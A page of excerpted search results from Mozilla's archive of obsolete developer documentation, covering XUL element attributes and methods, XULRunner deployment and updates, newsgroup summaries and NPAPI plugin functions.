.setattribute('label', gems[i].price ); row.appendchild(cell); thelist.appendchild(row); } attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...e tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
listcell - Archive of obsolete content
ule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listhead - Archive of obsolete content
olumn. attributes disabled properties acesssibletype, disabled examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listheader - Archive of obsolete content
stitem> <listcell label="roger"/> <listcell label="swashbuckler"/> </listitem> </listbox> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
menupopup - Archive of obsolete content
bout to be hidden. this state will occur during the popuphiding event. triggernode type: nsidomnode this read-only property holds the dom node that generated the event triggering the opening of the popup. the value is null if the popup isn't open. ...
... moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return valu...
notificationbox - Archive of obsolete content
-only. notificationshidden type: boolean indicating whether the notification area should be hidden. events alertactive type: event fired when a notification element is shown. alertclose type: event fired when a notification element is closed. ...
...ring. valid values are "menu-button" and "menu" which must be set if the button is to provide a popup via the popup property. getnotificationwithvalue( value ) return type: notification element retrieve the notification with a particular value. the value is specified when adding the notification with appendnotification. if no matching value is found, returns null. removeallnotifications( i
mmediate ) return type: no return value remove all notifications. if i
mmediate is true, the messages are removed i
mmediately. if i
mmediate is false, the notifications are removed using a slide transition. removecurrentnotification() return type: no return value remove the current notification. removenotification( item ) return type: element remove a notification, displaying the next one ...
panel - Archive of obsolete content
on screen. showing: a request has been made to open the popup, but it has not yet been shown. this state will occur during the popupshowing event. hiding: the popup is about to be hidden. this state will occur during the popuphiding event. ...
... moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return valu...
preference - Archive of obsolete content
name="preference.name" type="int"/> </preferences> see preferences system for a complete example. attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...ent is "editable" (see below). void setelementvalue(in domelement element); initializes the supplied element from the value stored in the preference. this function calls onsyncfrompreference. void updateelements(); update all elements that observe this preference. ...
prefpane - Archive of obsolete content
te an onsynctopreference handler for your listbox that returns the value to be written to the preference element, and then call the userchangedvalue function every time you edit the list in a way that should cause the preference's value to change. ...
... state changes tracked for it includes the checkbox element, whose state is tracked automatically when the "co
mmand" event fires. void writepreferences(in boolean flushtodisk); writes all changes in this pane to preferences, optionally flushes to disk. ...
radiogroup - Archive of obsolete content
adio id="violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
resizer - Archive of obsolete content
note: starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window. ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
richlistbox - Archive of obsolete content
ntent. you can click on any richlistitem element and use the keyboard to move the selection around. attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
richlistitem - Archive of obsolete content
rties accessible, control, disabled, label, selected, tabindex, value examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
scale - Archive of obsolete content
placed right to left or bottom to top. this is reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
scrollbox - Archive of obsolete content
x> the flex="1" above may or may not be needed, or even desired. in our case an enclosing element also was overflow:auto. if the user made the window smaller, the outer box would get smaller in response and sprout its scroll bars. we wanted our vbox to get smaller and sprout its scroll bars instead. note that this example doesn't use a scrollbox tag; you only need that tag if you want to progra
mmatically scroll in addition to the automatic scroll bars. note: avoid nested scroll boxes; it's maddening for the experienced user and confusing for the less experienced user. instead, figure out some other way to lay things out. scrolling a child element into view see element.scrollintoview. prior to gecko 19, scrollintoview() didn't exist in xul. do this instead: var xpcominterface =sc...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tabbrowser - Archive of obsolete content
ntcontextmenu type: id the id of a menupopup element serving as the context menu for the content area in the tabbrowser. contenttooltip type: id the id of a tooltip element to be used for the content area in the tabbrowser. onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" co
mmand. onnewtab not in firefox type: script code this script will be called when the new tab button is clicked. tabmodalpromptshowing type: integer the number of tab modal prompts currently attached to the current tab. properties browsers type: nodelist of browser elements holds a list of the browser elements inside the tabbrowser. cangoback type: boolean ...
...d. it also contains the load constants used by reloadwithflags and loaduriwithflags. webprogress type: nsiwebprogress this read-only property contains an nsiwebprogress object which is used to monitor the progress of a document loading. ...
tabs - Archive of obsolete content
respectively. disableclose type: boolean if this attribute is true the close button will be disabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
toolbarpalette - Archive of obsolete content
atically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbox - Archive of obsolete content
considered to be members of this toolbox, even if they are not actually children of the toolbox. palette firefox only type: element the toolbarpalette within the toolbox. toolbarset firefox only type: element the toolbarset within the toolbox. ...
...ryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendcustomtoolbar( name, currentset ) firefox only return type: element adds a custom toolbar to the toolbox with the given name. you can supply a co
mma-separated list of toolbar item ids as the second argument to add some items by default. the method returns the dom element for the created toolbar. collapsetoolbar( toolbar ) not in firefox return type: no return value collapse the given toolbar which should be contained within the toolbox. expandtoolbar( toolbar ) not in firefox return type: no return value expand the given toolbar ...
tooltip - Archive of obsolete content
e on screen. showing: a request has been made to open the popup, but it has not yet been shown. this state will occur during the popupshowing event. hiding: the popup is about to be hidden. this state will occur during the popuphiding event. ...
... moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value ...
where - Archive of obsolete content
ultiple, negate, rel, subject, value examples (example needed) attributes ignorecase type: boolean set to true to indicate that the case does not matter when making comparisons. otherwise, the default value is false, to indicate that the value should match with the same case. multiple type: boolean set to true to indicate that the value contains multiple values separated by co
mmas. any of the values may match. otherwise, the entire value string is compared. negate type: boolean set to true to indicate that the comparison should be reversed. the where clause matches if the condition is false, and does not match if the condition is true. rel type: one of the values below the type of comparison to perform. equals the subject and value must match ex...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
XUL - Archive of obsolete content
ith xul, originally from xulplanet. xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox. the term xul is sometimes used to refer to the whole mozilla platform (e.g. xul applications are applications using xul and other components of the platform). xul controls lists some of the co
mmon controls provided by xul. documentation xul tutorial a guided tutorial that will help you get started with xul, originally from xulplanet. xul reference xul elements, attributes, properties, methods, and event handlers. xul controls a quick list of all of the available xul cont...
...x since support for remote xul was disabled. there is a xulrunner application containing the xul periodic table which can be opened with gecko based browsers. you can get it here. see: using firefox 3 to run xulrunner applications for instructions on running xulrunner apps in firefox. view all... co
mmunity view mozilla forums... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version ...
Application Update - Archive of obsolete content
this article will hopefully explain how to update your xulrunner application using the same method that firefox, thunderbird, songbird, and chatzilla use. getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) co
mmon.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch. you will need to compile a unix/linux executable mar from mozilla/modules/libmar. as far as i can tell enabling the options --enable-updater and --enable-update-packaging on your configure will build you mar. compiled versions of mar are available in the gecko sdk under the folder /host/bin for your os. in order to generate sha1 hashes i installed shash. app...
...suppress prompting for incompatibilities only if there are versioninfo // updates available to installed addons that resolve them, not newer // versions. pref("app.update.incompatible.mode", 0); update server follow the instructions here to setup an update server for your xulrunner application to query. i opted for the simpler approach of not using the update php script. https is reco
mmended but not required (yet). update.xml the format is outlined here process as best i can tell here's how the update process works. at the scheduled interval the application checks the update server for update.xml, search for the correct one using the software name, versions, build id's, channels, and other information like locales. if the update.xml file doesn't exist there is no update.
Deploying XULRunner - Archive of obsolete content
this document explains how deployment should be managed for self contained portable applications built on xulrunner. note: to actually install a xulrunner application, a compatible version of xulrunner must be registered on the system and the app must be deployed per the instructions at xul application packaging. ...
...em you could perform the check and register the appropriate version if necessary. after that, the app could be installed to the registered xulrunner and appear in start menus, lists of installed programs, etc. (bonus points for checking the operating system and downloading the right xulrunner on the fly, or bundling them into your installer). registration and app installation are performed with co
mmand line switches as outlined in the xulrunner section of article co
mmand line options. it may turn out to be easier to create a self contained portable application, as described here, and deploy it with a generic installer that would create shortcuts to scripts that launch your application in the unregistered bundled xulrunner. the responsibility still lies with the developer to provide the corr...
XULRunner Hall of Fame - Archive of obsolete content
d latest css features of gecko for interactive e-books. version updates match the rapid release cycle. now available with xulrunner 30 with i18n support. mathml support is significant. includes smil audio overlays and idpf fixed layout. celtx all-in-one media pre-production software. source chatzilla a standalone version of the chatzilla irc client. conkeror a highly progra
mmable web browser with a leopard-oriented design inspired by emacs. source evergreen - staff client evergreen is an open source library system. source ieditweb a client/server based content manager and internet application suite. ieditweb users can add pages, images, forms, eco
mmerce many special effects and much more using the xulrunner based client. it will comunicate dyamically w...
...e application available. source applications based on xulrunner 1.9 or earlier buzzbird xul-based desktop twitter client. github bluegriffon the next-generation web editor based on the rendering engine of firefox. build instructions convertigo enterprise mashup server a web integrator and web clipper tool to build enterprise mashups nightingale nightingale is a co
mmuntiy fork of the songbird media player, bringing back linux support and much more. build instructions kirix strata a new specialty browser for accessing and manipulating data from the web telekast an open source teleprompter and script editor. source tomtom home 2 pc application to manage tomtom gps devices understanding faith (desktop version) a multimedia religio...
XULRunner/Old Releases - Archive of obsolete content
the windows and linux builds will run normal xulrunner applications, but the mac build uses cocoa widgets and will not run xulrunner applications. ...
...the windows and linux builds will run normal xulrunner applications, but the mac build uses cocoa widgets and will not run xulrunner applications. ...
calICalendarViewController - Archive of obsolete content
su
mmary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a su
mmary to this article. last changed in gecko ? interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, i...
..., but aendtime cannot be included without astarttime. if astarttime is specified, then the calievent is meant to be created 'silently', that is, without a more detailed dialog appearing. the calievent should have its enddate set to aendtime, if this parameter is specified. otherwise, it should be set to a default value, as determined by the application. the other values of the calievent (title, su
mmary, alarm, etc) should likewise be set to defaults. if no astarttime is specified, then an event-creation dialog should be displayed. modifyoccurrence void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); the modifyoccurrence method is used to change the attributes of an already existing caliitem. the calidatetim...
Mozprocess - Archive of obsolete content
imeout or otherwise), along with any child processes, on windows, os x, and linux. mozprocess utilizes and extends subprocess.popen to these ends. api mozprocess.processhandler:processhandler is the central exposed api for mozprocess. processhandler utilizes a contained subclass of subprocess.popen, process, which does the brunt of the process management. ...
...todo document improvements over subprocess.popen.kill ...
xbDesignMode.js - Archive of obsolete content
p://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied. see the license * for the specific language governing rights and limitations under the * license. * * the original code is netscape cross browser design mode code. * * the initial developer of the original code is * netscape co
mmunications corporation. * portions created by the initial developer are copyright (c) 2003 * the initial developer. all rights reserved. * * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(aiframe){ this.meditordo...
...t = this.miframeelement.contentdocument; this.meditordocument.designmode = "on"; } else { // ie this.meditordocument = this.miframeelement.contentwindow.document; this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set this.meditordocument = this.miframeelement.contentwindow.document; } } xbdesignmode.prototype.execco
mmand = function (aco
mmandname, aparam){ if (this.meditordocument) this.meditordocument.execco
mmand(aco
mmandname, false, aparam); else throw "no meditordocument found"; } xbdesignmode.prototype.setcsscreation = function (ausecss){ if (this.meditordocument) this.meditordocument.execco
mmand("usecss", false, ausecss); else throw "no meditordocument found"; } ...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding. ...
...l pending' right-click "copy email address" - bug 353102 a proposed bug fix to the 'copy email address' bug how to use the rss feeds discovery & parsing tool in another open source project? a user looking to be pointed in the right direction of how to use the rss feeds discovery & parsing tool. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to su
mmary list ...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
a wiki and irc channel have been created to track their progress. discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2. title case capitalization rules in firefox discussion regarding rules for capitalizing the first letter of firefox menu items in the ff ui. ...
...and other page info) in firefox 3. ...
2006-11-10 - Archive of obsolete content
su
mmary: mozilla.dev.accessibility - oct 28-nov 10, 2006 announcements acm transactions on accessible computing "transactions on accessible computing (taccess) is a quarterly journal that publishes refereed articles addressing issues of computing as it impacts the lives of people with disabilities." read more... publication for the first issue is expected in fall 2007. w4a 2007 first call for papers the fourth international cross-disciplinary cofnerence on web accessibility (w4a 2007) co-located with the sixteenth international world wide web conference (www2007), in banff, canada. ...
...ore... publication for the first issue is expected in fall 2007. w4a 2007 first call for papers the fourth international cross-disciplinary cofnerence on web accessibility (w4a 2007) co-located with the sixteenth international world wide web conference (www2007), in banff, canada. important dates: technical submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 co
mmunication submissions: monday 26th march 2007 co
mmunication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk. read more... discussions firefox: an open source accessibility success story aar...
2006-11-22 - Archive of obsolete content
to join, send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up. click here for more details. new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox". ...
...the e-mail address) michael would like to thank stormdragon for setting this up. click here for more details. new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox". he expressed his gratitude and thanks everyone for being supportive during and after the su
mmit. click here for more details. idispatch support for jaws scripting needed aaron leventhal stated that currently there is no idispatch support for iaccessible's in mozilla. if anyone has experience with these issues, and is comfortable helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 he stated that he almost h...
2006-09-29 - Archive of obsolete content
4. updated l10n status for sunbird 0.3 release according to simon paquet, we now have a full l10n comparison on the trunk between en-us and all locales with a calendar localization. details are available for calendar only and for calendar and core. discussions no discussions available this week. meetings sept. 27 status meeting cancelled most of the mozilla calendar participants were unavailable during sept. 27, the meeting was cancelled and rescheduled for a later date. ...
...meetings sept. ...
2006-12-01 - Archive of obsolete content
discussions cancellable async requests discussions about a bug of calicalendar's async methods. lightning, broken accessibility discussions refering several accessibility issues regarding interface of the sunbird client and the lightning plug-in for thunderbird. tasks in sunbird & lightning discussion about how to accessing the tasks in view in sunbird and lightning. universal binary or mac intel version of sb/lightning? discussions about universal binaries for sunbird. override a method (xbl) discussions about how to override a js function in a js file. ...
...ird & lightning discussion about how to accessing the tasks in view in sunbird and lightning. universal binary or mac intel version of sb/lightning? discussions about universal binaries for sunbird. override a method (xbl) discussions about how to override a js function in a js file. meetings no meetings were scheduled this week. authors mark paruzel yi (eric) shen [back to weekly su
mmaries ] ...
NPFullPrint - Archive of obsolete content
syntax typedef struct _npfullprint { npbool pluginprinted; /* true: print fullscreen */ npbool printone; /* true: print one copy */ /* to default printer */ void* platformprint; /* platform-specific */ } npfullprint; fields the data structure has the following fields: pluginprinted determines whether the plug-in prints in full-page mode. values: true: plug-in takes complete control of the printing process and prints full-page. ...
...nt is set to np_full. the pluginprinted field of this structure determines whether the plug-in prints in full-page mode or not. if you want the plug-in to take complete control of the printing process, it should print the full page and set the field pluginprinted to true before returning. if you want an embedded plug-in to simply render its area of the page, set pluginprinted to false and return i
mmediately; the browser calls npp_print again with the npembedprint substructure of npprint. see also npp_print, npprint, npembedprint ...
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api su
mmary the function is called by plugins to get http authentication information from the browser. syntax #include <npapi.h> nperror npn_getauthenticationinfo(npp instance, const char *protocol, const char *host, int32_t port, const char *scheme, const char *realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in insta...
...n returns an error code. for possible values, see error codes. description plugin which implement their own http networking stack (such as the java plugin) may want to use the standard http auth prompts and password managed of the browser. this function allows the plugin to ask the browser for http authentication information for a domain. unless the plugin has special networking needs, it is reco
mmended to use the standard network apis, such as npn_geturlnotify/npn_posturlnotify. see also npn_setvalueforurl, npn_getvalueforurl ...
NPN_GetURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of several special target names. for values, see npn_geturl(). ...
.... for possible values, see error codes. description npn_geturlnotify() works just like npn_geturl(), with one exception: npn_geturlnotify() notifies the plug-in instance upon successful or unsuccessful completion of the request by calling the plug-in's npp_urlnotify() function and passing it the notifydata value. npn_geturlnotify() typically handles the url request asynchronously. it returns i
mmediately and only later handles the request and calls npp_urlnotify(). this notification is the only way the plug-in can tell whether a request with a null target failed, or that a request with a non-null target completed. for requests that complete unsuccessfully, the browser calls npp_urlnotify() as soon as possible. for requests that complete successfully: if the target is non-null, the bro...
NPN_GetValue - Archive of obsolete content
syntax #include <npapi.h> nperror npn_getvalue(npp instance, npnvariable variable, void *value); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable information the call gets. ...
...netscapewindow value to get the native window on which plug-in drawing occurs. the method returns a value of type hwnd. in many cases, a plug-in may still have to create its own window (a transparent child window of the browser window) to act as the owner window for popup menus and modal dialogs. this transparent child window can have its own windowproc within which the plug-in can deal with wm_co
mmand messages sent to it a result of tracking the popup menu or modal dialog. see also npn_setvalue, npp_getvalue ...
NPN_InvalidateRect - Archive of obsolete content
syntax #include <npapi.h> void npn_invalidaterect(npp instance, nprect *invalidrect); parameters the function has the following parameters: instance pointer to the plug-in instance to invalidate a portion of. invalidrect the area to invalidate, specified in a coordinate system that originates at the top left of the plug-in's content area. ...
... must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion(). npn_invalidaterect() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in. after calling this method, the plug-in receives a paint message asynchronously. the browser redraws invalid areas of the document and any windowless plug-ins at regularly timed intervals. to i
mmediately send a paint message, the plug-in can call npn_forceredraw() after calling this method. see also npn_forceredraw() npn_invalidateregion() nprect npp ...
NPN_PluginThreadAsyncCall - Archive of obsolete content
syntax #include <npapi.h> void npn_pluginthreadasynccall(npp plugin, void (*func)(void *), void *userdata); parameters the function has the following parameters: plugin pointer to the current plug-in instance. func pointer to the function to call on the correct thread. userdata pointer to the data to pass to the function func once called. returns nothing. ...
...browser might not execute calls successfully registered with this api call during plug-in termination. plug-ins should perform appropriate synchronization with the code in their npp_destroy() routine to ensure correct execution and avoid memory leaks. calling npn_pluginthreadasynccall() on the "browser main thread" or the "plug-in thread" is legal; the call to npn_pluginthreadasynccall() returns i
mmediately. after control returns to the browser, it is free to call the function with its argument from this thread. see also npp out-of-process plugins ...
NPN_PostURL - Archive of obsolete content
syntax #include <npapi.h> nperror npn_posturl(npp instance, const char *url, const char *target, uint32 len, const char *buf, npbool file); parameters the function has the following parameters: instance pointer to the current plug-in instance. url url of the request, specified by the plug-in. target display target, specified by the plug-in. if null, pass the new stream back to the current plug-in instance regardless of mime type. for values, see npn_geturl. len length of the buffer buf. ...
